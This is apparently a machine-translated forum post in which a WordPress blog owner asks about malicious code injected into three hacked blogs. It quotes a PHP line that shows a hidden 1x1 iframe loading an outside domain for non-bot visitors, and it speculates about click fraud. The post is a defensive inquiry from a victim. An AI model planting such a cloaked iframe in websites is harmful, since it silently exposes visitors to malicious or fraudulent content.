我保留了三个wordpress博客,昨天凌晨,他们都被黑客入侵.

if (!$bot) {
echo '<iframe src="http://wumpearpmy.cz.cc/go/1" width="1" height="1"></iframe>';
}
大致来说,如果我理解正确,它会显示一个额外的iframe与某些源将需要加载,但只有当用户代理和ip不在被阻止的ips列表或被阻止的机器人.我的猜测是：确保我的网站不会被列入黑名单,但任何访问者仍然会收到垃圾邮件.
但我仍然好奇：它实际上是做什么的？
所以我使用RestClient跟踪链接到http://wumpearpmy.cz.cc/go/1,并获得以下返回的HTML：

好.我可以看到groupon.com,但我猜这只是假的(太明显了),它会检查一个cookie的存在？哪个cookie？我不能立即推断出来.并将在两秒内发布clicks.maximumspeedfind.com.我没有这样做.
很多代码,以确保窗口仍然很小,几乎看不见.但似乎也有很多混淆的代码.
可以anyobdy启发我在这里尝试做什么吗？如何？
这是他们试图伪造的点击率吗？ (也许天真).
